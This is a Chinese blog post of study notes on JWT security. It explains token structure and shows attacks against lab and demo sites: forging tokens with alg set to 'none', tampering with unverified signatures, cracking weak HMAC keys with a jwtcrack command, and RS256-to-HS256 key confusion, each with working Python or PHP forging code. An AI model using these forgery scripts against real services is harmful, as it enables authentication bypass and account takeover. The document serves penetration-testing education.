JWT的安全问题

前言:自己最近在测试的时候,虽然大多碰到的都是基于非对称加密的,但是也有碰到通过对称加密来进行实现的,不管是非对称和对称,先了解JWT的安全问题将大大有利于我们对JWT的攻击!

参考文章:https://www.cnblogs.com/r00tuser/p/12513046.htm

什么是JWT

JWT的用途:JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

其身份验证机制,以保证其完整性和不可伪造性,这样服务端就无需保存任何关于用户或会话的信息了(比如就可以替代session和cookie)

JWT在HTTP数据包中的传输样式如下所示

JWT的格式

格式:头部.有效载荷.签名

特点:1、Base64编码 2、有"."符号所连接

比如如下一段JWT的数据:

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

头部

头部包括了typ类型,alg签名算法,typ类型则为JWT,而alg签名算法取决于开发的决定

头部的数据为:eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ

Base64解码内容:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}

通过解码发现,可以知道typ类型为JWT,签名算法则为RS256

有效载荷

有效载荷用于存储用户的数据

eyJzdWIiOiJkdWJoZTEyMyJ9

Base64解码内容:{"sub":"dubhe123"}

签名

签名则是通过密钥来对头部和载荷进行加密,加密完的值用来保证有效性

XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

将头部.有效载荷,然后接着使用alg指定的算法加密,然后再Base64Url编码得到JWT的第三部分,也就是上面这段签名的数据

使用的签名算法通常是RS256(RSA非对称加密)和HS256(HMAC、SHA256对称加密)算法

寻找JWT技巧:

网址安全的JWT版本:ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*

所有JWT版本(可能误报):ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*

JWT的攻击方式

关于JWT的攻击方式才是这篇笔记的学习主题,下面来介绍相关常见的测试手段

默认允许算法修改为None

某些 JWT 的实现,一旦发现alg为none,将不再生成哈希签名,自然不存在校验签名一说,也就是说当alg为none时,后端将不执行签名验证

比如如下站点基于cookie中的jwt来进行验证,将其数据放到jwt.io进行观察

我们将其alg修改为none,但是jwt.io不支持alg为none的生成

所以这里自己通过脚本来进行实现

# coding=utf-8
import time
import jwt
#header
header = {
"typ": "JWT",
"alg": "none"
}
#payload
payload = {
"status": "success",
"data": {
"id": 21,
"username": "",
"email": "jwtn3d@juice-sh.op",
"password": "7ed91704b689c06d51f11e018bbc0529",
"role": "customer",
"deluxeToken": "",
"lastLoginIp": "undefined",
"profileImage": "/assets/public/images/uploads/default.svg",
"totpSecret": "",
"isActive": True,
"createdAt": "2021-05-23 04:21:52.787 +00:00",
"updatedAt": "2021-05-23 04:30:11.774 +00:00",
"deletedAt": None
},
"iat": 1621744252,
"exp": 1621762252
}
jwt_token = jwt.encode(payload,key=None,algorithm=None,headers=header).decode('ascii') # key=None
print("jwtToken: "+jwt_token)

带回去进行替换即可,可以发现只有前面两段再加一个结尾的.符号

无效签名,未校验签名

没有校验签名,那么直接修改Payload中的字段然后进行重新发送测试,如下所示,user为admin然后将该jwt重新带回去进行访问

弱key爆破

HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,这意味着对令牌进行签名的密钥也用于对其进行验证

这里我使用的是c-jwt-cracker工具

./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTYyMTc0NzczNiwiZXhwIjoxNjIxNzQ4OTM2LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.f014YMbmOkDeS4LJ00Eu62KSpe679rGVJSKCvj8hHTE secret123456 6

RSA256替换HS256

先来说下RSA256和HS256在JWT中的不同的地方

HS256算法使用密钥为所有消息进行签名和验证,而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名,问题就在这里,如果此时我们攻击者已经有了对应的公钥,那么攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。

测试环境:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php

可以看到下面获得的jwt为RSA256进行签名的,而这里进行测试,alg换为HS256,然后在HS256中用RSA的公钥进行签名测试

自己在使用python进行测试的时候,会发现用RSA公钥进行HS256加密的时候会进行报错

jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

这里通过php的jwt库Firebase来进行实现的

<?php
require __DIR__ . '/vendor/autoload.php';
//require_once __DIR__ . '/common.php';
use \Firebase\JWT\JWT;
$public_key = file_get_contents('public.pem');
$jwt = [
# Issuer
"iss" => "http://demo.sjoerdlangkemper.nl/",
# Issued at
"iat" => 1621751521,
# Expire
"exp" => 1621752721,
"data" => [
"killer" => "zpchcbd"
]
];
echo JWT::encode($jwt, $public_key, 'HS256');

posted @   zpchcbd  阅读(1221)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示